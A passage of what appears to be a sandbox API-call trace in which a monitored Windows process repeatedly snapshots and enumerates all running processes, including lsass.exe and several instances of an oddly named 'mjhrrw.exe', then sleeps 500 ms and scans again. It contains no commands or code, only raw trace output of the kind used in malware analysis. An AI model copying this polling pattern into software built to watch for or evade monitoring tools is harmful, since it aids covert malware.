th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.045] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0243.045] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0243.046] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0243.046] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0243.047] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0243.047] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.048] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0243.048] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0243.048] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0243.049] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0243.050] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0243.050] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0243.051] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0243.051] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0243.052] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0243.052] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0243.053] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0243.053] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.054] Process32NextW (in: hSnapshot=0x384, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0243.054] CloseHandle (hObject=0x384) returned 1 [0243.055] Sleep (dwMilliseconds=0x1f4) [0243.745] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x374 [0243.752] Process32FirstW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.753] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0243.753] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0243.754] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.754] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0243.755] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.755] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0243.756] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0243.757] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0243.757] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0243.758] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0243.759] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.759] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.760] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0243.761] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.761] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.762] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.762] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.763] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.764] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.764] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.765] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.766] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.766] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.767] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0243.768] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.769] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0243.769] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0243.770] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0243.771] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0243.771] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0243.772] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.773] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0243.773] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0243.774] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0243.777] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0243.777] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0243.778] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0243.778] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0243.779] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0243.780] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0244.014] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0244.015] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0244.022] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.022] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0244.023] CloseHandle (hObject=0x374) returned 1 [0244.023] Sleep (dwMilliseconds=0x1f4) [0244.803] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x340 [0244.810] Process32FirstW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.811] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0244.811] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0244.812] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.813] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0244.813] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.813] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0244.814] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0244.815] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0244.816] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0244.817] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0244.818] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.818] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.819] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0244.820] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.820] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.821] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.822] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.823] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, 